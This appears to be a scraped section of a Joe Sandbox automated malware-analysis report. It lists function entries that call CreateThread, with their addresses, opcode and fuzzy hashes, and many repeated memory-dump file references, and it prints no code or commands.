Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 18767f0c9a6fe7a554194ad306ca207e4d65648499dcbc6c71816c7a757f32b5
Instruction ID: 9a83f7ffddc8ac13b61f43f749746be1c461f71b6c655f3f5452bd7c15fd9089
Opcode Fuzzy Hash: 18767f0c9a6fe7a554194ad306ca207e4d65648499dcbc6c71816c7a757f32b5
Instruction Fuzzy Hash: F8E0DF669CA2B2A2D2A2A3614D9B38D78984B93327F2400C4AC152B2C3D285048D539A

Function 00B6233D Relevance: 1.5, APIs: 1, Instructions: 24threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000), ref: 00B62352

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: ae6e5492f9a47a68efa5b5c46bc1ac8d08a1f3266ec85136534668460d61c7ce
Instruction ID: 77dccc8a581aaca2c44a7503b6a26bb0d45e7454e4dadd2addcb34854559b563
Opcode Fuzzy Hash: ae6e5492f9a47a68efa5b5c46bc1ac8d08a1f3266ec85136534668460d61c7ce
Instruction Fuzzy Hash: F3E0CD726CB7307CF21153605EE5BCEAA5CDF42BA1F2404B5B305950C341D810049365

Function 00B5B21C Relevance: 1.5, APIs: 1, Instructions: 23threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000), ref: 00B5B23D

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 97c300c53789608bbbf0e9c0baca91c3fddfa78d397926e8b440917bef0cc3d9
Instruction ID: 04838a44f6fa5c7387d8be32b1e0b4b5fb7ce4f3ae6c0cdd3d3b718a24a00b50
Opcode Fuzzy Hash: 97c300c53789608bbbf0e9c0baca91c3fddfa78d397926e8b440917bef0cc3d9
Instruction Fuzzy Hash: C0E0686934A38516D7001F3444A9BAEBEA0AF81702F9E45C8A5564F5C2C7621C48C218

Function 00B5F339 Relevance: 1.5, APIs: 1, Instructions: 22threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00B5F34A

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 6d3b78f12287340d8df4e3af4c9019e91b3894c030e9e00038f414d3b90cb115
Instruction ID: 27ed8250c48219200b6cc818e7a86c07f0fd44924b9ef002a679c145f9b6e293
Opcode Fuzzy Hash: 6d3b78f12287340d8df4e3af4c9019e91b3894c030e9e00038f414d3b90cb115
Instruction Fuzzy Hash: FEE092B605926BA6DB20BF3088693BE7694EF42702F2140E4BD412B5C1C666AC98DB0C

Function 00B53907 Relevance: 1.5, APIs: 1, Instructions: 18threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(35DE9D8B), ref: 00B538E6

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 7c28a2bd2fd5436d1d92dd3b0a7a4d945515a41b8e160908f8f236a48354ec7a
Instruction ID: 05d0cc212a393e43eec56eb54f34233bb44aa250f0718d2b8fb0899c8e5ddc39
Opcode Fuzzy Hash: 7c28a2bd2fd5436d1d92dd3b0a7a4d945515a41b8e160908f8f236a48354ec7a
Instruction Fuzzy Hash: 10E0CDF644A35665E7205F70D88971DBEF0AF56751F2448D8F6804B692C5715904CB14

Function 00B6123C Relevance: 1.5, APIs: 1, Instructions: 15threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00B61243

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
